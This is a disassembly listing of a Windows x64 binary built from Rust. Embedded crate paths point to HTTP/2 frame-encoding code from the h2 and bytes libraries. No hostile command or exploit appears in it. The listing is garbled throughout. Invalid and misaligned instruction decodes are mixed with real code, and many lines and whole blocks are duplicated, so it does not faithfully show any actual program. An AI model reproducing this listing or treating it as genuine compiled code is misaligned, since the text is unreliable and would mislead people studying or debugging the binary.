mov edx, 5
mov r8d, dword [rsp + 0x13c]
add byte [rax], al
call fcn.14002cb20
cmp dword [rsp + 0x154], 0
je 0x14007a8ab
add byte [rdi], cl
test byte [rbp + rcx - 0x72b80000], al
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdx + 6], bh
lea rcx, [rsp + 0xe0]
mov edx, 6
mov r8d, dword [rsp + 0x144]
call fcn.14002cb20
mov r8, qword [rsp + 0x108]
and al, 8
add dword [rax], eax
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test dword [rdx + 0xd], ebp
add byte [rax], al
and al, 8
add dword [rax], eax
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test dword [rdx + 0xd], ebp
add byte [rax], al
jmp 0x14007a95d
lea rax, [rdx + 8]
mov r15d, dword [rdx + 0x118]
mov r14d, dword [rdx + 0x11c]
movzx ebp, byte [rdx + 0x120]
mov dh, 0xaa
and byte [rcx], al
add byte [rax], al
mov dh, 0xaa
and byte [rcx], al
add byte [rax], al
mov ecx, dword [rsi + 0x138]
add rcx, 9
mov qword [rsp + 0xe0], rdi
loopne 0x140079b81
add byte [rax], al
invalid
loopne 0x140079b81
add byte [rax], al
mov qword [rsp + 0xe8], rcx
lea rcx, [rsp + 0x20]
add byte [rax - 0x73], cl
and al, 0x20
mov rdx, rax
mov r8, rsi
call fcn.140027c80
mov rdi, qword [rsi + 0x108]
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x45]
lea rbx, [rsp + 0xe0]
mov r8d, 3
mov rcx, rbx
call fcn.14002b690
mov byte [rsp + 0x40], 5
lea rdx, [rsp + 0x40]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rcx, rbx
call fcn.14002b690
mov byte [rsp + 0x40], bpl
lea rdx, [rsp + 0x40]
mov r8d, 1
mov rcx, rbx
call fcn.14002b690
invalid
sbb bh, bl
inc dword [rcx + rcx*4 - 8]
invalid
sbb bh, bl
inc dword [rcx + rcx*4 - 8]
bswap eax
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
mov r8d, 4
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
call fcn.14002b690
mov rax, qword [rsp + 0xe0]
mov rbp, qword [rax + 8]
bswap r14d
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x40], esi
lea rdx, [rsp + 0x40]
mov r8d, 4
mov rcx, rbx
call fcn.14002b690
mov rbx, qword [rsp + 0x30]
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xe8]
mov r13, qword [rax + 8]
not r13
not ebp
not ebp
cmp r13, rcx
cmovae r13, rcx
cmp rbx, r13
jbe 0x14007a200
invalid
add byte [rax], al
add eax, 0x854d0000
in eax, dx
add byte [rax], al
test r13, r13
mov dword [rsp + 0xd8], r15d
je 0x14007a70f
or al, byte [rax]
invalid
cdq
or al, byte [rax]
add byte [rax - 0x73], cl
push rsp
and al, 0x38
lea rdx, [rsp + 0x38]
mov rax, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
lea rcx, [rsp + 0x40]
mov r9, rbx
call qword [rax]
sub qword [rsp + 0x30], r13
and al, 0x30
and al, 0x30
add qword [rsp + 0x28], r13
mov qword [rsp + 0x50], r13
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xa0], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa8], rax
jmp 0x14007a735
mov ebp, dword [rdx + 4]
mov ebx, dword [rdx + 8]
cmp r8, 2
ja 0x140079cf1
mov edx, 3
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax + 2], 4
mov word [rdx + rax], 0
add rax, 3
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007aeff
invalid
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079d3f
xchg byte [rax], cl
add dword [rax], eax
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax + 0x39], cl
sal dword [rbp + 0x1b], 0xba
add dword [rax], eax
add byte [rax], al
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
invalid
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov rdx, qword [rdi]
mov byte [rdx + rax], 3
jmp 0x14007a0d0
movups xmm0, xmmword [rdx + 8]
movups xmm1, xmmword [rdx + 0x18]
movaps xmmword [rsp + 0xa0], xmm1
mov rdx, qword [rdx + 0x28]
mov qword [rsp + 0xb0], rdx
movaps xmmword [rsp + 0x90], xmm0
mov rbx, qword [rsp + 0xa0]
lea r14, [rbx + 8]
bswap r14
cmp r8, 2
ja 0x140079d9f
mov edx, 3
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
shr r14, 0x28
mov word [rdx + rax], r14w
shr r14d, 0x10
mov byte [rdx + rax + 2], r14b
add rax, 3
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af50
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079df7
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 7
inc rax
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af50
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079e40
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af50
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x140079e90
invalid
sbb edi, dword [rdx + 4]
mov edx, 4
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
invalid
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov rdx, qword [rdi]
mov dword [rdx + rax], 0
add rax, 4
rol byte [rax + rcx*2], 0x89
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffa1
adc byte [rax], al
invalid
rol byte [rax + rcx*2], 0x89
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffa1
adc byte [rax], al
add byte [rax - 0x77], cl
xchg byte [rax], cl
add dword [rax], eax
add byte [rbx + 0xb024ac], cl
add byte [rax], al
mov qword [rsi + 0x108], rax
mov ebp, dword [rsp + 0xb0]
bswap ebp
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x140079eed
mov edx, 4
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebp
add rax, 4
mov qword [rsp + 0xe0], rax
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x48
adc byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x48
adc byte [rax], al
add byte [rax - 0x77], cl
xchg byte [rax], cl
add dword [rax], eax
add byte [rbx + 0xb424ac], cl
mov qword [rsi + 0x108], rax
mov ebp, dword [rsp + 0xb4]
add byte [rax], al
add byte [rax], al
bswap ebp
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x140079f46
mov edx, 4
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebp
add rax, 4
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af50
xchg edi, ebp
sldt word [rax]
xchg edi, ebp
sldt word [rax]
mov qword [rsi + 0x108], rax
test rbx, rbx
je 0x14007a21d
lea rdx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
mov r9, rbx
call qword [rax]
mov qword [rsp + 0x50], rbx
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xf0], rax
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x58
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x58
mov qword [rsp + 0xf8], rax
mov r14, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe8]
test r14, r14
je 0x14007a248
mov rcx, qword [rsi + 0x108]
mov rax, qword [rsi + 0x110]
sub rax, rcx
cmp rax, r14
jae 0x14007a000
mov rcx, rdi
mov rdx, r14
call fcn.140012910
mov rcx, qword [rsi + 0x108]
or byte [rcx], al
add byte [rax], al
add rcx, qword [rsi + 0x100]
mov rdx, rbx
mov r8, r14
call fcn.140106250
mov rax, qword [rsi + 0x108]
add rax, r14
mov qword [rsp + 0x158], rax
cmp rax, qword [rsi + 0x110]
ja 0x14007b062
mov qword [rsi + 0x108], rax
mov qword [rsp + 0xf0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add rbx, r14
mov qword [rsp + 0xe8], rbx
jmp 0x14007a248
mov ebp, dword [rdx + 4]
mov ebx, dword [rdx + 8]
cmp r8, 2
ja 0x14007a07b
mov edx, 3
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax + 2], 4
mov word [rdx + rax], 0
add rax, 3
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007aeff
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x14007a0c9
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 8
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007aeff
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x14007a10f
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007aeff
mov qword [rsi + 0x108], rax
bswap ebp
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x14007a15e
mov edx, 4
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebp
add rax, 4
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007aeff
mov qword [rsi + 0x108], rax
bswap ebx
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x14007a1ad
mov edx, 4
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebx
add rax, 4
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007aeff
mov qword [rsi + 0x108], rax
mov r8, qword [rsp + 0x108]
cmp r8, 2
jne 0x14007a8bd
jmp 0x14007a95d
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0xe0]
mov r8, rbx
call fcn.14002b690
xor r14d, r14d
jmp 0x14007a5fb
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0xe0]
mov r8, rbx
call fcn.14002b690
xor r14d, r14d
jmp 0x14007a792
mov qword [rsp + 0xe8], 1
xorps xmm0, xmm0
movaps xmmword [rsp + 0xf0], xmm0
lea rax, [0x14013db38]
mov qword [rsp + 0xe0], rax
mov ebx, 1
mov rax, qword [rsp + 0xe0]
lea rcx, [rsp + 0xf8]
mov rdx, rbx
xor r8d, r8d
call qword [rax + 0x10]
lea rcx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rax + 0x10]
mov r8, qword [rsp + 0x108]
cmp r8, 2
jne 0x14007a8bd
jmp 0x14007a95d
xor r13d, r13d
jmp 0x14007a2a8
mov r13, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xb8]
cmp r13, r14
cmovae r13, r14
mov edx, dword [rsi + 0x138]
cmp r13, rdx
jbe 0x14007a2fd
cmp r15d, 1
je 0x14007a973
test r15, r15
jne 0x14007a995
lea rcx, [rsp + 0xb0]
mov rax, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
call qword [rax + 0x10]
jmp 0x14007a995
cmp r13, qword [rsi + 0x128]
jae 0x14007a335
cmp r15d, 2
je 0x14007aa52
cmp r15d, 1
jne 0x14007aa56
mov r9, qword [rsp + 0xa0]
xor edx, edx
sub r9, qword [rsp + 0xa8]
cmovae rdx, r9
jmp 0x14007aa5e
movzx ebp, byte [rsp + 0xd6]
mov ebx, dword [rsp + 0xd0]
bswap r13
cmp r8, 2
ja 0x14007a368
mov edx, 3
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
shr r13, 0x28
mov word [rdx + rax], r13w
shr r13d, 0x10
mov byte [rdx + rax + 2], r13b
add rax, 3
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af28
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x14007a3c0
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af28
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x14007a409
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], bpl
inc rax
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af28
mov qword [rsi + 0x108], rax
bswap ebx
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x14007a45b
mov edx, 4
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebx
add rax, 4
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af28
mov qword [rsi + 0x108], rax
mov r8, qword [rsi + 0x128]
cmp rax, r8
jae 0x14007a4a9
xor ecx, ecx
sub rax, qword [rsi + 0x120]
cmovae rcx, rax
sub r8, rcx
lea rdx, [rsp + 0x90]
mov rcx, rdi
call fcn.1400a99f0
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x80], rax
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [r12]
cmp rax, 4
je 0x14007a529
mov qword [rsp + 0x98], 1
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa0], xmm0
lea rax, [0x140113ac0]
mov qword [rsp + 0x90], rax
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
lea rcx, [rsp + 0xe0]
mov rdx, r14
mov r8, r15
call fcn.14002b690
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
mov rdx, r14
mov r8, r15
call qword [rax + 0x10]
mov r14, qword [rsp + 0x20]
movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov r15d, dword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rcx + 8]
mov r8, rdx
sub r8, rbp
bswap r8
mov rax, r8
shl rax, 0x18
jne 0x14007b011
lea rax, [rdi + 3]
cmp rdi, 0xfffffffffffffffc
ja 0x14007b029
mov qword [rsp + 0x98], 1
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa0], xmm0
lea rax, [0x140113ac0]
mov qword [rsp + 0x90], rax
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
lea rcx, [rsp + 0xe0]
mov rdx, r14
mov r8, r15
call fcn.14002b690
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
mov rdx, r14
mov r8, r15
call qword [rax + 0x10]
mov r14, qword [rsp + 0x20]
movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov r15d, dword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rcx + 8]
mov r8, rdx
sub r8, rbp
bswap r8
mov rax, r8
shl rax, 0x18
jne 0x14007b011
lea rax, [rdi + 3]
cmp rdi, 0xfffffffffffffffc
ja 0x14007b029
cmp rax, rdx
ja 0x14007b03b
shr r8, 0x28
mov rax, qword [rcx]
mov word [rax + rdi], r8w
shr r8d, 0x10
mov byte [rax + rdi + 2], r8b
test r14, r14
je 0x14007a7fd
mov rdx, qword [rcx + 8]
add rdi, 4
cmp rdi, rdx
jae 0x14007aed8
mov rax, qword [rcx]
add byte [rax + rdi], 0xfc
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x190], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x180], xmm0
cmp rbx, r13
ja 0x14007a833
lea rcx, [rsp + 0x38]
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
call qword [rax + 0x10]
test r14, r14
je 0x14007a8ab
mov rax, qword [r12]
cmp rax, 4
je 0x14007a874
cmp eax, 3
je 0x14007a855
cmp eax, 1
je 0x14007ae16
test rax, rax
jne 0x14007a874
lea rcx, [rsi + 0xd8]
mov rax, qword [rsi + 0xc0]
mov rdx, qword [rsi + 0xc8]
mov r8, qword [rsi + 0xd0]
call qword [rax + 0x10]
mov qword [rsi + 0xb8], 3
mov qword [rsi + 0xc0], r14
movaps xmm0, xmmword [rsp + 0x180]
movups xmmword [rsi + 0xc8], xmm0
mov rax, qword [rsp + 0x190]
mov qword [rsi + 0xd8], rax
mov dword [rsi + 0xe0], r15d
mov r8, qword [rsp + 0x108]
cmp r8, 2
je 0x14007a95d
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x118]
test r8, r8
je 0x14007a8ec
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x108]
cmp r8, 2
je 0x14007a95d
mov rdx, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x118]
test r8, r8
test eax, eax
je 0x14007a957
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x110]
lock dec qword [rax]
jne 0x14007a95d
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
call fcn.140005050
jmp 0x14007a95d
call qword [rax + 0x80]
mov al, 0xc
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp qword [rsp + 0xa0], 0
je 0x14007a995
mov r8, qword [rsp + 0x98]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsp + 0x108]
cmp r8, 2
je 0x14007ae45
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x118]
test r8, r8
je 0x14007a9d6
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x108]
cmp r8, 2
je 0x14007ae45
mov rdx, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x118]
test r8, r8
je 0x14007ae3f
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x110]
lock dec qword [rax]
jne 0x14007ae45
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
call fcn.140005050
mov al, 2
jmp 0x14007a95f
xor edx, edx
jmp 0x14007aa5e
mov rdx, qword [rsp + 0xa8]
cmp rdx, r14
cmovb r14, rdx
mov rdx, rax
add rdx, r14
jb 0x14007b06f
movzx ebp, byte [rsp + 0xd6]
mov ebx, dword [rsp + 0xd0]
bswap r14
cmp r8, 2
ja 0x14007aaa4
mov edx, 3
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
shr r14, 0x28
mov word [rdx + rax], r14w
shr r14d, 0x10
mov byte [rdx + rax + 2], r14b
add rax, 3
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af28
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x14007aafc
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af28
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x14007ab45
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], bpl
inc rax
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007af28
mov qword [rsi + 0x108], rax
bswap ebx
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x14007ab97
cmp qword [rsi + 0xc8], 0
je 0x14007a874
mov r8, qword [rsi + 0xc0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14007a874
call qword [rax + 0x80]
mov al, 2
jmp 0x14007a95f
mov eax, dword [rsp + 0x80]
mov qword [rdi + 0x40], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
push rax
push rax
movaps xmm2, xmmword [rsp + 0x60]
movaps xmm3, xmmword [rsp + 0x70]
movups xmmword [rdi + 0x30], xmm3
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
adc dword [rdi + 0x10], ecx
adc dword [rdi + 0x10], ecx
movups xmmword [rdi], xmm0
mov r8, qword [rsp + 0x108]
cmp r8, 2
jne 0x14007a8bd
jmp 0x14007a95d
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov rcx, rdi
call fcn.1401082d0
lea rcx, str.assertion_failed:_self.has_capacity__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srccodec_framed_write.rs
lea r8, [0x14013d848]
sub dword [rax + rax], ecx
sub dword [rax + rax], ecx
mov edx, 0x25
call fcn.140108350
lea rax, [rsp + 0x20]
mov qword [rsp + 0x90], rax
add byte [rax], al
add byte [rax], al
lea rax, [fcn.140012f00]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], r13
jmp 0x14007afc4
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x30], rcx
jmp 0x14007af6e
lea rax, [rsp + 0xe0]
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x28], rax
stc
dec dword [rax - 0x77]
and al, 0x28
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], rax
lea rax, [0x140141790]
cmp byte [rax - 0x73], cl
add eax, 0xc6816
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
jmp 0x14007aff2
lea rax, [rsp + 0x20]
mov qword [rsp + 0x90], rax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff97f54
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff97f54
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], rax
lea rax, [0x140141790]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rcx, [0x14012894a]
lea ecx, [0x14012894a]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov edx, 0x3e
call fcn.140108350
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov rcx, rdi
mov rdx, rax
call fcn.140108530
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov rcx, rax
call fcn.140108340
lea rcx, str.not_implemented
lea r8, [0x14013d8b0]
mov edx, 0xf
call fcn.140108350
lea rax, [rsp + 0x158]
jmp 0x14007af58
lea rcx, str.assertion_failed:_dst.remaining_mut_____lenC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_framedata.rs
lea r8, [0x14013da48]
mov edx, 0x2c
call fcn.140108350
lea rax, str.chunk_not_fully_encoded
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, [0x14014c050]
lea r9, [0x14013d888]
lea rcx, [rsp + 0x20]
lea r8, [rsp + 0x40]
call fcn.14010dad0
int3
mov eax, dword [rsp + 0x39c]
inc eax
cmp byte [rdi + 0xd1], 0
mov byte [rdi + 0xd1], 0
je 0x140084c68
cmp eax, 0x10
je 0x140084c53
mov dword [rsp + 0x39c], eax
cmp byte [rdi + 0x1e0], 0
jne 0x140083310
mov rax, qword [rdi + 0x70]
mov rcx, qword [rdi + 0x90]
test rax, rax
jne 0x14007ee14
cmp rcx, 2
jne 0x14007efc2
mov rdx, qword [r15 + 0x20]
mov qword [rsp + 0x3c0], rdx
movdqu xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movdqa xmmword [rsp + 0x3b0], xmm1
movdqa xmmword [rsp + 0x3a0], xmm0
mov byte [rdi + 0x1d0], 3
cmp byte [rsp + 0x3c0], 3
je 0x140083285
mov rcx, qword [rsp + 0x3c0]
mov qword [rsp + 0x2f0], rcx
movdqa xmm0, xmmword [rsp + 0x3a0]
movdqa xmm1, xmmword [rsp + 0x3b0]
movdqa xmmword [rsp + 0x2e0], xmm1
movdqa xmmword [rsp + 0x2d0], xmm0
dec rax
cmp rax, 2
jae 0x14007efb5
mov rcx, rsi
mov rdx, r13
call fcn.140036190
